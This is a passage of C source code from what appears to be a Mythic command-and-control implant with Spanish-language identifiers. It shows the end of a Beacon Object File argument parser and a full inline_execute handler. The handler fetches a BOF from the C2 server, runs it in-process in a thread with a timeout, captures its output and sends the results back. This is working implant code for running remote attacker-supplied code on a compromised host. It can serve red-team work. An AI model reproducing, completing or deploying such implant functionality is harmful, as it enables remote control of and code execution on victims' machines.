            memcpy(buffer + offset, decoded, decodedLen);
            offset += decodedLen;
            
            LocalFree(b64Str);
            LocalFree(decoded);
        } else if (strcmp(typeBuf, "bytes") == 0) {
            // Convert hex string to bytes
            PBYTE bytes = NULL;
            SIZE_T bytesLen = 0;
            if (!HexStringToBytes(valueStart, valueLen, &bytes, &bytesLen)) {
                LocalFree(buffer);
                return FALSE;
            }
            
            if (offset + 4 + bytesLen > bufferSize) {
                SIZE_T newSize = bufferSize * 2;
                while (newSize < offset + 4 + bytesLen) newSize *= 2;
                PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, newSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
                if (!newBuffer) {
                    LocalFree(bytes);
                    LocalFree(buffer);
                    return FALSE;
                }
                buffer = newBuffer;
                bufferSize = newSize;
            }
            
            UINT32 len = (UINT32)bytesLen;
            memcpy(buffer + offset, &len, 4);
            offset += 4;
            memcpy(buffer + offset, bytes, bytesLen);
            offset += bytesLen;
            
            LocalFree(bytes);
        } else {
            // Unknown type - skip or error?
            _wrn("[ParseBOFArguments] Unknown argument type: %s", typeBuf);
            // Continue parsing other arguments
        }
    }
    
    // Resize buffer to actual size
    if (offset > 0) {
        PBYTE finalBuffer = (PBYTE)LocalReAlloc(buffer, offset, LMEM_MOVEABLE);
        if (finalBuffer) {
            buffer = finalBuffer;
        }
    } else {
        LocalFree(buffer);
        buffer = NULL;
    }
    
    *outBuffer = buffer;
    *outSize = offset;
    return TRUE;
}

/*
 * InlineExecuteHandler - Main handler for inline_execute command
 */
VOID InlineExecuteHandler(PAnalizador argumentos) {
    
    // Read task UUID
    SIZE_T uuidLen = 36;
    PCHAR taskUuid = getString(argumentos, &uuidLen);
    if (!taskUuid || uuidLen != 36) {
        _err("InlineExecuteHandler: Error leyendo UUID (len=%zu)", uuidLen);
        if (argumentos) liberarAnalizador(argumentos);
        return;
    }
    
    // Read file_id
    SIZE_T fileIdLen = 0;
    PCHAR fileId = getString(argumentos, &fileIdLen);
    if (!fileId || fileIdLen == 0) {
        _err("InlineExecuteHandler: Error leyendo file_id");
        if (argumentos) liberarAnalizador(argumentos);
        return;
    }
    
    // Read arguments (already serialized by translator, like Xenon)
    SIZE_T argsLen = 0;
    PBYTE argsBuffer = getBytes(argumentos, &argsLen);
    
    
    // Create response package
    PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuesta, taskUuid, FALSE);
    
    // Create output package
    PPaquete salida = nuevoPaquete(0, FALSE);
    
    // Fetch BOF file from Mythic
    BOF_UPLOAD bof = {0};
    DWORD status = GetFileBytesFromMythic(taskUuid, fileId, &bof);
    if (status != 0) {
        _err("[inline_execute] Error obteniendo archivo BOF de Mythic: %lu", status);
        PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo obtener el archivo BOF de Mythic (error: %lu)\n", status);
        addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
        Analizador* respuestaAnalizador = mandarPaquete(respuesta);
        liberarPaquete(salida);
        liberarPaquete(respuesta);
        if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
        if (argsBuffer) LocalFree(argsBuffer);
        if (argumentos) liberarAnalizador(argumentos);
        return;
    }
    
    // Prepare BOF arguments (like Xenon)
    // The translator already serialized the arguments using Packer
    // Packer.getbuffer() returns: [size:4 bytes LE][data] where size = data length
    // The translator sends this as: [len:4 bytes BE][packed_buffer]
    // We receive: packed_buffer = [size:4 bytes LE][data]
    // BeaconDataParse expects: [total_size:4 bytes][data] where total_size includes the 4-byte header
    // So we need to replace the first 4 bytes (size) with total_size
    PBYTE bofArgs = NULL;
    SIZE_T bofArgsSize = 0;
    if (argsBuffer && argsLen > 0) {
            // The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
        // We just need to replace the first 4 bytes with the total size
        bofArgs = argsBuffer;  // Use the buffer directly
        bofArgsSize = argsLen;
        
        // Replace first 4 bytes with total size (including the 4-byte header)
        UINT32 totalSize = (UINT32)bofArgsSize;
        memcpy(bofArgs, &totalSize, 4);
    } else {
        bofArgs = NULL;
        bofArgsSize = 0;
        if (argsBuffer) {
            LocalFree(argsBuffer);
            argsBuffer = NULL;
        }
    }
    
    // Clear output buffer before executing BOF
    if (beacon_output_buffer) {
        free(beacon_output_buffer);
        beacon_output_buffer = NULL;
    }
    beacon_output_size = 0;
    beacon_output_offset = 0;
    
    // Execute the BOF
    DWORD fileSize = (DWORD)bof.size;
    
    // Prepare thread arguments
    BOF_THREAD_ARGS threadArgs = {0};
    threadArgs.bofBuffer = (char*)bof.buffer;
    threadArgs.bofSize = fileSize;
    threadArgs.args = (char*)bofArgs;
    threadArgs.argsSize = bofArgsSize;
    threadArgs.completed = FALSE;
    threadArgs.success = FALSE;
    
    // Create thread to execute BOF
    HANDLE hThread = CreateThread(NULL, 0, BOFExecutionThread, &threadArgs, 0, NULL);
    if (!hThread) {
        _err("[inline_execute] Error creando thread para ejecutar BOF (error: %lu)", GetLastError());
        PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo crear thread para ejecutar BOF\n");
        addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
        Analizador* respuestaAnalizador = mandarPaquete(respuesta);
        liberarPaquete(salida);
        liberarPaquete(respuesta);
        if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
        if (bof.buffer) LocalFree(bof.buffer);
        if (bofArgs) LocalFree(bofArgs);
        if (argumentos) liberarAnalizador(argumentos);
        return;
    }
    
    // Wait for BOF execution with timeout (30 seconds)
    DWORD timeoutMs = 30000;  // 30 seconds
    DWORD waitResult = WaitForSingleObject(hThread, timeoutMs);
    
    BOOL bofSuccess = FALSE;
    if (waitResult == WAIT_OBJECT_0) {
        // Thread completed
        bofSuccess = threadArgs.success;
    } else if (waitResult == WAIT_TIMEOUT) {
        // Thread timed out - BOF is hanging
        _err("[inline_execute] BOF se colgó (timeout después de %lu ms)", timeoutMs);
        // Try to terminate the thread (not ideal, but necessary to unblock agent)
        if (!TerminateThread(hThread, 1)) {
            _err("[inline_execute] Error terminando thread (error: %lu)", GetLastError());
        }
        PackageAddFormatPrintf(salida, FALSE, "[inline_execute] WARNING: BOF se colgó después de %lu segundos\n", timeoutMs / 1000);
        bofSuccess = FALSE;
    } else {
        // Wait failed
        _err("[inline_execute] Error esperando thread del BOF (waitResult=%lu, error: %lu)", 
             waitResult, GetLastError());
        bofSuccess = FALSE;
    }
    
    CloseHandle(hThread);
    
    // Always try to capture output, even if BOF returned FALSE
    // The BOF might have produced output via BeaconPrintf before crashing
        // Get output from Beacon compatibility layer
        int outdataSize = 0;
        PCHAR outdata = BeaconGetOutputData(&outdataSize);
    
        if (outdata && outdataSize > 0) {
            addBytes(salida, (PBYTE)outdata, outdataSize, TRUE);
            free(outdata);
        
        // If BOF failed but we have output, add a warning
        if (!bofSuccess) {
            PackageAddFormatPrintf(salida, FALSE, "\n[WARNING] BOF execution may have failed, but output was captured\n");
        }
        } else {
        if (bofSuccess) {
            PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n");
        } else {
            PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n");
        }
    }
    
    // Add output to response FIRST (before artifacts)
    // Format must be: [UUID_tarea][output_len][output][marcadores...]
    addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
    
    // Add Process Create artifact AFTER output
    // BOF execution creates process artifacts
    char artifact_buf[512];
    if (bofArgs && bofArgsSize > 0) {
        snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args_size=%zu", 
                 (int)fileIdLen, fileId, bofArgsSize);
    } else {
        snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s", (int)fileIdLen, fileId);
    }
    addArtifact(respuesta, "Process Create", artifact_buf);
    
    // Send response
    Analizador* respuestaAnalizador = mandarPaquete(respuesta);
    if (respuestaAnalizador) {
        liberarAnalizador(respuestaAnalizador);
    } else {
        _err("[inline_execute] ERROR: mandarPaquete retornó NULL - la respuesta no se envió");
    }
    liberarPaquete(salida);
    liberarPaquete(respuesta);
    
    // Cleanup
    if (bof.buffer) {
        LocalFree(bof.buffer);
        bof.buffer = NULL;
    }
    if (bofArgs) {
        LocalFree(bofArgs);
        bofArgs = NULL;
    }
    if (argumentos) {
        liberarAnalizador(argumentos);
        argumentos = NULL;
    }
    
}
